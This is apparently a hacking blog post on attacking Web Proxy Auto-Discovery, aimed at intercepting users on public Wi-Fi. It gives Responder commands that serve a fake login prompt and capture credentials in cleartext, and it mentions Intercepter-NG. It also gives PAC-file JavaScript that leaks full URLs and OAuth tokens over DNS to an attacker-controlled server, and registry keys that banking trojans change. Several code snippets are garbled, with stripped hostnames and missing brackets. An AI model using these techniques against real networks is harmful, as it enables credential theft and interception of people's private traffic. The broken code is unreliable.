Skip to content

Sour proxies: intercepting traffic masquerading as WPAD proxies

Imagine a situation where you’re connected to a Wi-Fi hotspot in a restaurant, club, or some other cool corporate place where there are a lot of desktops and iPhones. Would you like to know what users do? There are many ways to do it, but why reinvent the wheel when there’s WPAD?

WPAD stands for Web Proxy Auto-Discovery, an automatic proxy configuration protocol. It’s as old as the Internet itself, and allows the client (in this case we use a web browser) to automatically detect and interact with caching services on the network. Let’s say right away that not all devices support WPAD. Alas, in Android, there you have to enter proxy settings manually. But in Windows 10 and iOS, WPAD is enabled by default, and most users don’t even know about it.


The protocol developed by Netscape is designed to help the client find the PAC (Proxy Auto Config) file, which is a JavaScript file describing the logic used by the browser to determine how to connect to a given URL. When making any request, the browser calls the FindProxyForURL function from the PAC file, sends the URL and host to it and expects to know what proxy to use to reach this address. It looks something like this:

function FindProxyForURL(url, host) {
if (host == "") {
return "PROXY";
} else
if (host == "") {
return "PROXY";
} else {
return "DIRECT";

In addition to FindProxyForURL, the PAC script has various auxiliary functions for flexible configuration. Using these, you can, for example, specify that the browser should open from three to four hours on Saturday through, all day on Sunday through, and at other times go directly, without a proxy.

In short, PAC files allow an attacker to see every HTTPS request before it is even downloaded by a browser. PACs can be used to leak data through DNS, such as this:

function FindProxyForURL(url, host) {
if (url.indexOf('https' == 0) {
var leakUrl = (url + '.leak').replace(/[^\w]+/gi, '.');
return 'DIRECT';

Allows you to convert a request like to Do you smell something fishy?

WPAD has been a security breach since its inception because it makes it very easy to intercept data flow by pretending to be a legitimate proxy server. Despite the fact that it’s been around for a long time and can be exploited quite easily, the attack didn’t become very popular. There are a few reasons for that.

Firstly it allows to intercept only client’s web traffic, and it’s easier to run arp poison and intercept much more. Secondly, although it doesn’t require any complex manipulation, it still requires running and setting up a number of services:

  1. It is necessary to register a network name ‘WPAD’.
  2. It is necessary to run the web server and create a wpad.dat file.
  3. You need to run the proxy server.

For attackers and those wishing to test system security against unauthorized access, WPAD functionality has provided an easy way to perform MITM attacks on web traffic over the years. For example, WPAD was used to spoof Windows updates during the Flame worm attack.

How was this done?


For the attack we will use a machine with Kali Linux (I remind you that to use Kali you do not need to have a desktop or laptop, you can just as well run Kali on a cell phone and on a Raspberry).

Kali Linux already comes with a very powerful tool called Responder. Responder works by simulating different services, including WPAD and offers them to the network clients. It’s a very powerful tool and a full review would take more than one article. For now we will talk about WPAD case only.

Responder is installed in Kali by default. To see the Responder help screen and find out what options are available, just use the -h switch.

responder -h

First, let’s look at the “analysis” mode. To do this, let’s run:

responder -A

This mode allows you to run Responder in analysis mode, with Responder only “listening” and not sending anything. This can be useful if we just want to see what requests to what resources are in the analyzed network without responding to them.

Analysis mode is also a good way to passively detect possible attack vectors.

But enough analysis, let’s get down to practice.

Let’s run Responder to attack WPAD.

responder -I eth0 -wbF
  • “-w” Starts WPAD server
  • “-b” Turns on HTTP authentication mode
  • “-F” Requires WPAD authentication

With Responder, we attack WPAD with the “Force Basic Authentication” option, so Responder offers users an authentication screen when they try to open web pages, and, of course, receives the data entered by the users in the clear. Profit?

Running Responder “chops” WPAD

When the user tries to open the page, the browser will ask for proxy settings through WPAD. Responder responds to the request and displays an authorization window:

This is what the request looks like on the victim’s car

If the user enters data, we get it in an open form:


Intercepter-NG is a powerful multifunctional sniffer for intercepting passwords and correspondence. The utility is capable of intercepting traffic, messages and passwords/ashes in the public domain.

In Intercepter-NG the attack on WPAD is fully automated and runs in seconds.

You can manually specify the proxy server to be given to clients or use the built-in socks. In the latter case you will not need anything else for capturing traffic except Intercepter-NG itself.

The demonstration is presented in the video, there is nothing complicated there, even beginners will be able to cope with it:

Attacking WPAD with Intercepter-ng

The Autoconfiguration Problem

Although PAC is a useful functionality, it has been abused since 2005. Brazilian cybercriminals improved and refined the technology for such abuses, and then shared it with counterparts in Turkey and Russia.

The sophistication and effectiveness of these attacks has reached an unprecedented level, making it possible to hack a bank account with a file as small as 1KB. Combining considerable ingenuity with drive-by attacks, these malicious scripts can do more than man-in-the-middle attacks; they can hijack HTTP connections in “stealth” web attacks that can be conducted regularly and successfully. Typically, such attacks redirect users to phishing pages that mimic legitimate sites of banks, credit card operators, etc.

In Brazil, malicious PAC files in banking Trojans have been known since 2009 – that’s when several families of malware, such as Trojan.Win32.ProxyChanger, were detected, forcing PAC file URLs into browsers on infected computers.

A phishing page imitating the official page of a Brazilian bank. The address of the malicious PAC file is set in the browser settings

Now 6 out of every 10 banking Trojans are capable of adding the address of a malicious PAC file to the browser settings.

Text of a malicious PAC file created and used by Brazilian cybercriminals

Some Trojans also try to modify the prefs.js file, which is used to set proxy server settings in Mozilla Firefox:

Bank Trojan prepares to change prefs.js file with proxy settings for Firefox

This is a very simple attack; the Trojan only needs to change a single value in the Windows registry, specifying the URL of the PAC file:

HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings: “AutoConfigURL =

Or you can specify path to small (usually less than 1 KB) file located locally:

HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings,AutoConfigURL = file://C:/WINDOWS/proxy.pac

Some attacks also change the values of the key below – it is responsible for automatically setting the proxy server for a particular Internet connection:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnections{CONNECTION NAME}

Cybercriminals can greatly expand the available attack methods (and increase the potential number of victims) by combining this technique with drive-by download attacks, exploiting Java vulnerabilities, injecting malicious Java applets into popular websites, or even using exploit kits such as BlackHole.

A code snippet of malware downloaded via BlackHole, which Brazilian cybercriminals used to change settings on a user’s computer by embedding a PAC file there

The approach is so effective that Russian banking Trojans such as Trojan-Banker.Win32.Capper adopted it in 2012, along with forging digital certificates to redirect users to a phishing page over HTTPS.

Some scammers use social engineering to trick the user into keeping the malicious URL in their browser settings by using deceptive domain names that seem legitimate at first glance.

No, we’re not talking about 2Pac, may he rest in peace. Here we’re going to talk about PAC settings.

PAC files, or proxy auto-configuration files, are a widely used resource that all modern browsers support. They define what is known as the access method: what proxy server a web browser and other Internet applications should use to access a particular URL.

The PAC file format was originally developed by Netscape in 1996 for the Netscape Navigator 2.0 browser. A browser that supports PAC files provides access to the list of features defined in Netscape’s original specification. In each browser, PAC files are implemented in a sandbox – only those JavaScript functions that are required for operation are accessible. For example, you cannot access the browser property “User Agent” in a PAC file, even though it would be available for a normal web page.

Although written in JavaScript, the PAC script does not allow window or document objects, nor will it display an alert to the user (it will only show up in the browser logs). Nevertheless, even in the neutered version has its own “pluses”.

For example isResolvable – it checks if it’s possible to resolve the domain name to an IP address:

if (isResolvable(host))
return "PROXY";

What can we get from using this function? To answer this question, let’s first understand what is passed to the FindProxyForURL function in the URL argument. It turns out it depends on your browser: Chrome sends the scheme, the host and the request (GET parameters), while Firefox sends a fragment (location.hash) in addition.

Regardless of which browser we use, we have the full URL. Let’s try to intercept the URL using the isResolvable function. To do this we encode the URL to be a valid hostname, and append d.wpad.server, whose NS record contains our DNS server, where we answer and record all requests.

So, with some simple manipulations:

function encode(str) {
r = str.toLowerCase()
.replace(/([^a-z1-9])/g, function(m) {
return "0" + m.charCodeAt(0)
.replace(/([^\.]{60})(.)/g, '$1.$2')
.substr(0, 240);
return r + (r.slice(-1) != "." ? "." : "") + "";

function FindProxyForURL(url, host) {
var u = encode(url);
return isResolvable(u) ? "DIRECT" : "DIRECT";

our test URL turns into, from which you can get the source string, for example with this single line in Perl:

echo ‘’ \
| perl -lape ‘s/$//; s/.//g; s/0(.)/chr($1)/eg;’

It happens that OAuth tokens are often passed in the URL fragment (location.hash). This means that when using Firefox we can also get our hands on them.

What’s the rest?
WPAD is as leaky as Swiss cheese.

Using WPAD you can, in spite of HTTPS, “catch” local traffic, OAuth tokens, and other information from URLs. The same can be done on the Internet by registering, for example, the domain and trying to catch random victims on this fishing rod.

Everything brilliant is simple. All you have to do is get creative.

Good luck!

Never use the methods described in the article. This article is written for informational purposes only. The author is not responsible for the application of the skills. Otherwise, you are breaking the law.

Leave a Reply